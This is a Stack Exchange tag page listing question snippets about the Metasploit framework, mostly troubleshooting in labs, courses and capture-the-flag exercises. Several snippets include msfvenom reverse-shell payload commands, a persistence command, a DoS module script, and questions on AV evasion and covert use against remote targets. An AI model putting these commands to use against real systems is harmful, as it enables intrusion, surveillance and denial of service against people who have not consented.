2022 Developer Survey is open! Take survey.

Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

Filter by
Sorted by
Tagged with
0 votes
0 answers
13 views

Exploit failed: NoMethodError undefined method `smtp_send_recv'

I was playing around with an old server (probably pre 2017) and I was running the following metasploit module: msf6 exploit(linux/smtp/exim4_dovecot_exec) However, after setting the LHOST (0.0.0.0), ...
user avatar
0 votes
0 answers
16 views

Meterpreter shell re-enter previous/next command

After a Meterpreter session has been established, you can start an interactive shell on the target host using the shell command. In the shell, I'm trying to switch between previously entered commands ...
user avatar
0 votes
0 answers
3 views

Options to use for the Database Backend Command 'analyze' in msfconsole

I noticed the command 'analyze' under Database Backend Commands in msfconsole while trying to analyze a subnet. analyze -h shows usage as such: analyze [OPTIONS] [addr1 addr2 ..] and that's it. I ...
user avatar
0 votes
1 answer
29 views

Msfconsole-exploit command: what options are used to generate a payload?

I have the following test environment with three computers: [victim] 192.168.0.104 running Windows 2003 [listener] 192.168.0.22 [Kali] 192.168.0.26 On the Kali machine, I used the following ...
user avatar
0 votes
1 answer
35 views

Import a exploit into msfconsole on ubuntu

I'm attending a offensive security courses and one of the subject is import a exploit from exploitdb into msfconsole. Commonly advice that it's required to create a exploit folder inside .msf4 and ...
user avatar
0 votes
0 answers
34 views

Increment hearbeat request metasploit

I'm using metasploit to a university project and I have to try to make a botnet attack unnoticed and the if the blue team dettect it, I have t try to make as imposible as I can to attribute the attack....
user avatar
  • 5
2 votes
0 answers
92 views

Windows XP SP3 2002 is not vulnerable to MS08-067

Why is my VM not vulnerable to MS08-067? There are similar question on stack exchange, yes, but they fail to specify all relevant information and so non receive a meaningful, thoughtful nor thorough ...
user avatar
0 votes
0 answers
43 views

Metasploit module for NULL LDAP credentials

This article covers the solution for the LDAP challenges on a capture the flag. I understand how the first example works, using the NULL value for the username and password to authenticate to the LDAP ...
user avatar
0 votes
0 answers
23 views

Can I import this exploit on metasploit or is better to use it in python? [duplicate]

I have tried to import this exploit: https://www.exploit-db.com/exploits/50539 and then use it in Metasploit (I'm following a walkthrough), but Metasploit cannot load it. Also I tried to use Python ...
user avatar
0 votes
0 answers
19 views

How do I catch metasploit session scripts error code in ruby?

I was able to start a session using metasploit framework (msf6) with an android but after a while being in the session, the meterpreter session closes. Luckily however after a few seconds, another ...
user avatar
0 votes
0 answers
34 views

How can I get a meterpreter session back to my attack box from subnet via pivot?

I have a lab I am dealing with and need help to get a meterpreter session on this win 7 system. My buffer overflow works great back to the pivot box. However since my attack box is not reachable from ...
user avatar
  • 101
0 votes
0 answers
12 views

"No session was created" between VMs [duplicate]

I'm a newbie to Metasploit and I have set up 2 VMs: Kali Linux and Windows 8 (victim machine). They use NAT adapter to connect to the internet. I want to make one exploit on ms17-010 but the result is ...
user avatar
  • 1
0 votes
0 answers
54 views

How can I get metasploit auxiliary to display the result?

I am testing a site to see if it is vulnerable to Heartbleed CVE-2014-0160 (they have a bug bounty program). I ran the following commands in metasploit: msf6 > use auxiliary/scanner/ssl/...
user avatar
1 vote
1 answer
157 views

Payload uploaded but error : "no session was created"

I'm doing a capture-the-flag challenge (similar to HackTheBox) and I can't figure it out despite looking at many workarounds how to solve my issue. I did: nmap --> got port 8080 firefox -> 10....
user avatar
  • 113
0 votes
0 answers
48 views

Executing cmd command on XP with metasploit

I am pretty knew to cyber, but looking at metasploit and trying to execute arbitrary commands in cmd on an old Windows XP. I am trying to use https://www.infosecmatter.com/metasploit-module-library/?...
user avatar
  • 1
0 votes
0 answers
123 views

How do i use custom exe with metasploit

I have my own exe file which I want to use as a custom payload.It's a sample exe file using TCP socket on windows side to link my windows 10 computer to metasploit payload.Here are the commands im ...
user avatar
0 votes
1 answer
123 views

Configure the Metasploit SSH client to support `aes256-cbc`

I am trying to set up a vulnerable machine running freeSSHd 1.2.6. The Metasploit exploit module fails with the following error: Server encryption_client preferences: aes128-cbc,3des-cbc,blowfish-cbc,...
user avatar
0 votes
0 answers
156 views

Metasploit how to get target phone's telephone number?

I'm new at metasploit and I created a backdoor with msfvenom like this: msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT= R> /var/www/html/test.apk and I connected to my android device. I ...
user avatar
0 votes
1 answer
217 views

How to find discrepancy between exploitable and unexploitable VM

For several years, I have been setting up VMs with 2-3 year old versions of Windows as well as some additional applications to demonstrate two-stage exploits using Metasploit for educational purposes (...
user avatar
0 votes
1 answer
1k views

Rex::BindFailed The address is already in use or unavailable

I'm trying to run the following script based on this blog. use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp setg autorunscript multi_console_command -rc /root/Desktop/folder/...
user avatar
0 votes
0 answers
175 views

Run Metasploit module against several IPs

I'm trying to run a module against several IPs. It happens that usually we can use RHOSTS file:/file.txt but in this case, that option is not available. I have tried this https://www.pentestpartners....
user avatar
  • 3
1 vote
1 answer
289 views

Error with Metasploit when attempting to exploit netapi in Windows XP [duplicate]

I am a beginner in hacking. I have been trying to hack Windows XP using the netapi exploit in metasploit, but every time, in the end, I get an error: Exploit failed [unreachable]: Rex::...
user avatar
0 votes
1 answer
2k views

RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)

I've been playing around with the EternalBlue exploit recently. I've downloaded a Windows 10 iso file from 2016 and used it to set up a Windows 10 Pro VM as my sandbox. I also ran the nmap script and ...
user avatar
  • 15
0 votes
0 answers
403 views

meterpreter command `play` not working

I have created a payload using msfvenom, and after starting msfconsole, I am connected to the victim phone (me). I am able to run all commands but the play command shows an error. I want to play music ...
user avatar
  • 1
0 votes
1 answer
436 views

is metasploit under whonix anonymous?

If I run an exploit like EternalBlue with Metasploit on whonix to a remote machine, do I remain anonymous? I think I do because it goes over tor but I am not sure. Am I right?
user avatar
0 votes
1 answer
120 views

Meterpreter: How to invoke commands in a loop for each new connection

I want to execute commands like screenshot on a regular interval (e.g. each 5min) for each incoming connection to Meterpreter using the reverse_tcp payload until the connection gets closed by the ...
user avatar
  • 103
2 votes
0 answers
263 views

Metasploit opens Meterpreter, but the shell is unresponsive [closed]

I created a payload using msfvenom android/meterpreter/reverse_tcp LHOST=192.168.2.2 R > ANDROID.apk signed the apk, sent it to my phone, opened up msfconsole and ran set payload android/...
user avatar
0 votes
0 answers
131 views

Meterpreter RPC error

How to solve this error? meterpreter > run persistence -S -i 7 -p 4444 -r 192.168.134.129 [!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence. [!] Example: run exploit/...
user avatar
2 votes
2 answers
3k views

How do I set auto check to override exploit in metasploit?

I was trying to run the bolt CMS exploit. Bolt CMS 3.7.0 - Authenticated Remote Code Execution | php/webapps/48296.py (taken from searchsploit) and it wouldn't work because automatic check which ...
user avatar
0 votes
0 answers
128 views

How to read output of a Reflective DLL?

Reflective DLL Injection is one of the most interesting and best techniques to run custom code in memory. I've been learning about it a lot, I've learned how to pass in inputs, But I can't figure out ...
user avatar
  • 1
3 votes
1 answer
518 views

- Exploit aborted due to failure: not-found: Can't find base64 decode on target

So. I am having some issues at metasploit. I am trying to exploit exploit/multi/http/wp_crop_rce. I am using Docker, in order to install wordpress version: 4.8.9. PHP 7.2.12 (cli) (built: Nov 28 2018 ...
user avatar
  • 31
1 vote
0 answers
543 views

PHP reverse shell is not responding back [closed]

I created a php reverse shell using msfvenom utility like: msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php And I created a listener using ...
user avatar
2 votes
0 answers
3k views

Metasploit error - [-] Exploit aborted due to failure: unexpected-reply: Failed to upload the payload [closed]

I am trying to run this exploit through metasploit, all done on the same Kali Linux VM. I am trying to attack from my VM to the same VM. https://github.com/rapid7/metasploit-framework/blob/master/...
user avatar
  • 33
0 votes
1 answer
643 views

How to use msfvenom elf approach for metasploitable 2?

How to use msfvenom elf approach for metasploitable 2? I am reading a book that teaches how to make a msfvenom executable for Windows. But I am learning on metasploitable 2. I really did not want to ...
user avatar
1 vote
0 answers
104 views

apache2 server online, but cannot access it on an Android device [closed]

I am trying to learn Metasploit using Kali Linux on a Virtual Machine. I learned that payloads can be "carried" through an Apache server. But the problem is, when I try to access the Apache ...
user avatar
  • 11
1 vote
0 answers
204 views

A way to background meterpreter sessions from an autorunscript

I have been trying to figure out a way to script a way to background my auto run scripts. It seems like everything works perfectly fine with the exception of the background command. For example: ...
user avatar
  • 223
1 vote
0 answers
78 views

Problem using `multi/http/mediawiki_thumb`, possibly due to the `Authorization` header

My target requires the Authorization header with credentials to get into. I have the credentials but the module I'm using (multi/http/mediawiki_thumb) doesn't seem to have an option for Authorization. ...
user avatar
0 votes
1 answer
272 views

Metasploit - Where has JTR gone?

I remember using jtr in metasploit. jtr_crack_fast is no longer available for me along with other jtr commands. Yes i can still get regular jtr stand alone or just git but still. What happen to jtr in ...
user avatar
0 votes
1 answer
151 views

How can I generate a binary from an payload without any other addons?

For example how do I turn the payload/windows/format_all_drives into an exe without any other fancy addons? (I am talking about using msfvenom FYI)
user avatar
  • 3
0 votes
2 answers
379 views

How to run a meterpreter script multiple times

I have this very simple script to run a rpcbomb script from auxiliary/dos/rpc/rpcbomb for a DOS attack. use auxiliary/dos/rpc/rpcbomb set RHOSTS Victim_IP_Address set RPORT 111 exploit -j -z I want ...
user avatar
0 votes
2 answers
1k views

Making My Own Custom Payload [closed]

I have tried many different tools to avoid being detected by an AV while using meterpreter exploit. Here is a list of tools I have tried: Shellter, Posh C2, Hack the World, Veil, Fat Rat, and many ...
user avatar
  • 7
0 votes
1 answer
574 views

Hanging on When Sending Stage

I'm new to Metasploit. I set up a multi-handler exploit and also made an EXE file with meterpreter/reverse_tcp payload. Both 3rd party AV and Windows Defender are deactivated. But when the victim (my ...
user avatar
  • 7
-1 votes
1 answer
110 views

Metasploit shell non-responsive

Metasploit successfully executes the exploit, but after that, I get a non-responsive shell: Do you know what could be the problem here?
user avatar
2 votes
1 answer
265 views

The output format of search in msfconsole

I see the following output from search in msfconsole. msf6 > search CVE-2014-3566 Matching Modules ================ # Name Disclosure Date Rank Check ...
user avatar
1 vote
1 answer
378 views

Penetration test on a infotainment system platform [closed]

I am pentesting an infotainment platform that is still under development. I did a nmap scan (for all ports with option -p-) of the platform and found a few open ports. 111/tcp open rpcbind 3490/tcp ...
user avatar
  • 111
1 vote
0 answers
360 views

msfvenom: how to output assembly of windows payload for inline assembly in C?

My goal is to obfuscate metasploit windows payloads' assembly code (adding junk code to the payload itself), then adding the obfuscated shellcode to inline assembly in C. The issue is there is no ...
user avatar
0 votes
0 answers
227 views

Metasploit with multiple console instances

On msfconsole, we can share some things across the same workspace on another instance of msfconsole -- for example, services and creds. However, I see that sessions and routes are not shared across ...
user avatar
  • 331
0 votes
0 answers
118 views

Metasploit payload not working on Android 10 [duplicate]

I tried to create a payload using msfvenom and it doesn't work on Android 10... What can be the possible reason and how to prevent it? And I used Metasploit on Termux to do it so is that a problem?
user avatar
  • 1
0 votes
1 answer
544 views

Metasploit doesn't find exploit added from exploit-db [closed]

I'm using Metasploit. I tried adding the file 46731.rb to both /usr/share/metasploit-framework/modules/exploits/confluence/46731.rb and ~/.msf4/modules/exploits/msf4/46731.rb. Then I updated the ...
user avatar
0 votes
0 answers
227 views

metasploit: run nmap on compromised host

I have just compromised a computer(legal in my local environment) and want to run nmap from that host to see further inside the network. I know I can use metasploit modules like "auxillary/...
user avatar

1
2 3 4 5
10